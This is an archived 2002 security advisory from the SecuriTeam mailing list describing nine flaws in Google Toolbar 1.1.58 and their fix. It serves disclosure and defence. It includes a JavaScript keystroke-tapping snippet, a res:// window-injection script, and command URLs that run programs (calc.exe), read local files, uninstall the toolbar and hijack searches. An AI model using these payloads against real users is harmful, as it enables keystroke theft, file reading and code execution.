

# [NEWS] Exploiting the Google Toolbar

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0034.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/10/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Sat, 10 Aug 2002 22:49:08 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Exploiting the Google Toolbar

---

## SUMMARY

Google is a popular and precise search engine. Google is also offering a popular, free, simple, and useful browser toolbar that can be used to search the web without going to the Google homepage. Multiple security vulnerabilities have been found in the Google toolbar allowing a remote attacker to completely compromise the user's security and privacy.

## DETAILS

Vulnerable systems:

- \* Google toolbar version 1.1.58

Immune systems:

- \* Google toolbar version 1.1.59
- \* Google toolbar version 1.1.60

The following multiple security flaws have been found in the Google toolbar. We list them by order of their severity all of the following are done without any user interaction:

- 1) Tap to key presses in the toolbar's search box.
- 2) Control all visual configuration options.
- 3) Enable features with privacy implications.

## Securiteam: [NEWS] Exploiting the Google Toolbar

- 4) Clear the toolbar's history.
- 5) Completely uninstall the toolbar.
- 6) Hijack the toolbar and reroute searches.
- 7) Execute arbitrary programs.
- 8) Read local files.
- 9) Script in the "My Computer" zone.

#1. Tap to key presses in the toolbar's search box.

When typing to the Google toolbar, the currently loaded document still receives all the keyboard events. This flaw is trivial to exploit, by setting a simple "onkeydown" event handler in the document level and waiting for input.

This method is not perfect for the attacker since there is no way to know where the cursor is or even whether the user is actually in the Google toolbar. However, by analyzing the information grabbed from the keyboard it is quite easy to make an educated guess.

In addition, the attacker can only tap to the toolbar when the user is in his web site there is no way to use this method outside of it.

#2. Control all visual configuration options.

The method of registering changes in options to the Google toolbar is very insecure. The toolbar is using a special URL to inflict the changes, "[http://toolbar.google.com/command? here](http://toolbar.google.com/command?here)". However, it doesn't let the changes occur if the current document is outside of google.com or the special res:// protocol.

That little restriction can be easily circumvented by opening a window that points to google.com or any res:// URL and then, with scripting, change the URL to the toolbar's configuration URL.

The problem described above is the main issue of this advisory and all the other flaws are actually implications of it.

For example, to hide the "Search" button, all an attacker needs to do is follow the steps above and then change the URL to "<http://toolbar.google.com/command?Search=0>". This can be done with all the other buttons and features.

#3. Enable features with privacy implications.

The toolbar comes with two features that have privacy implications; these are the "PageRank" feature and the "Category" feature.

By following the steps described in #2 and then changing the URL to "<http://toolbar.google.com/command?PageRank=1>" and "<http://toolbar.google.com/command?Category=1>" an attacker can enable these features, regardless of their initial setup.

#4. Clear the toolbar's history.

The toolbar has an option to save searches made by it. An attacker can

## Securiteam: [NEWS] Exploiting the Google Toolbar

enable this feature by following the steps described in #2 and then changing the URL to "<http://toolbar.google.com/command?StoreHist=1>" and "<http://toolbar.google.com/command?ShowHist=1>".

An attacker can remove all searches from history by following the steps in #2 and then changing the URL to "<http://toolbar.google.com/command?clearhist>".

#5. Completely uninstall the toolbar.

An attacker can uninstall the Google toolbar by following the steps in #2 and then changing the URL to "<http://toolbar.google.com/command?uninstall>".

#6. Hijack the toolbar and reroute searches.

To search, the toolbar uses a special option called "GoogleHome". An attacker can change the value of the "GoogleHome" option by following the steps in #2 and then changing the URL to "[http://toolbar.google.com/command?GoogleHome='s\\_search handler'](http://toolbar.google.com/command?GoogleHome='s_search_handler')".

Starting from that moment on, all web searches would be routed through the attacker's web site. The attacker would be able to log the searches and uniquely identify users. The attacker will then be able to brand the user and offer him services according to the searches made. After logging the search information, the attacker can simply forward the request to Google to remove any suspicions the user may have.

#7. Execute arbitrary programs.

The toolbar command mechanism exposes a very dangerous feature, when called with "<http://toolbar.google.com/command?script=script>" the script passed to the command will run in the same context as the current document. As mentioned in #2, the toolbar command mechanism accepts two kinds of URLs, any URL in the google.com domain and any res:// URL.

When ran on the google.com domain, the result is a simple domain XSS in google.com. But when ran on any res:// URL the result is full access to the "My Computer" zone.

Once the attacker can access the "My Computer" zone, executing programs is trivial, all an attacker needs to do is follow the steps in #2 and then change the URL to

"[http://toolbar.google.com/command?script=document.body.insertAdjacentHTML\('beforeEnd','<object classid=clsid:10101010-1111-1111-1111-111111111111 codebase=c:/winnt/system32/calc.exe style=display:none></object>'\)](http://toolbar.google.com/command?script=document.body.insertAdjacentHTML('beforeEnd','<object classid=clsid:10101010-1111-1111-1111-111111111111 codebase=c:/winnt/system32/calc.exe style=display:none></object>'))".

#8. Read local files.

Using the same logic described in #7, an attacker can read local files from the client. By following the steps described in #2 and then changing the URL to

"[http://toolbar.google.com/command?script=document.body.insertAdjacentHTML\('beforeEnd','<iframe id=oFileRead src=file://c:/test.txt></iframe>'\); setTimeout\(function \(\) {](http://toolbar.google.com/command?script=document.body.insertAdjacentHTML('beforeEnd','<iframe id=oFileRead src=file://c:/test.txt></iframe>'); setTimeout(function () {)

## Securiteam: [NEWS] Exploiting the Google Toolbar

alert(oFileRead.document.documentElement.innerText) },1000)" an attacker can read any local file that is loadable by IE.

#9. Script in the "My Computer" zone.

#7 and #8 are just two examples of the abilities of the "My Computer" zone. It is a very unrestrictive zone and other implications may apply when an attacker is able to inject script into it.

Exploit:

The following code will output key presses in the toolbar to a DIV element (flaw #1):

```
<script language="javascript">
document.onkeydown=function () {
    oTapper.innerText+=String.fromCharCode(event.keyCode);
}
</script>
<div id="oTapper"></div>
```

The following code will open a res:// URL in a window, and inject a toolbar command to it (flaws #2–#9):

```
<script language="javascript">
var
oGoogleWin=open("res://shdoclc.dll/about.dlg","Googler","width=700,height=500,toolbar,status,resizable");
setTimeout(
    function () {

oGoogleWin.location.href="http://toolbar.google.com/command?[Choose your
command from #2 to #8]";
    },
    400
);
</script>
```

Solution:

Google were notified of these problems on 31-Jul-2002 and worked with them to fix the issues. Google has been very responsive and quick to produce a fixed version (1.1.59/1.1.60). The new version began distributing on Wednesday (07-Aug-2002) noon using the auto-update feature in the Google toolbar. Therefore, most of the toolbar's users should be protected from these vulnerabilities by now.

Demonstration:

We put together three proof-of-concept demonstrations, to view these demonstrations you need to use version 1.1.58 (or prior) of the toolbar.

If your toolbar already auto-updated to a later version and you still wish to see these vulnerabilities in action you can re-install 1.1.58 from [here](#).

You can check your current version by clicking the Google logo and then "About Google Toolbar".

## Securiteam: [NEWS] Exploiting the Google Toolbar

<<http://sec.greymagic.com/adv/gm001-mc/googleTapping.html>> Google Tapping: tap to keypresses in the toolbar's input box.

<<http://sec.greymagic.com/adv/gm001-mc/googleHijack.html>> Google Hijack: remotely change different settings of the Google toolbar.

<<http://sec.greymagic.com/adv/gm001-mc/googleSnoop.html>> Google Snoop: execute programs and read local files using the toolbar.

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:security@greymagic.com>> GreyMagic Software.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] WS FTP SITE CPWD Buffer Overflow Vulnerability"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)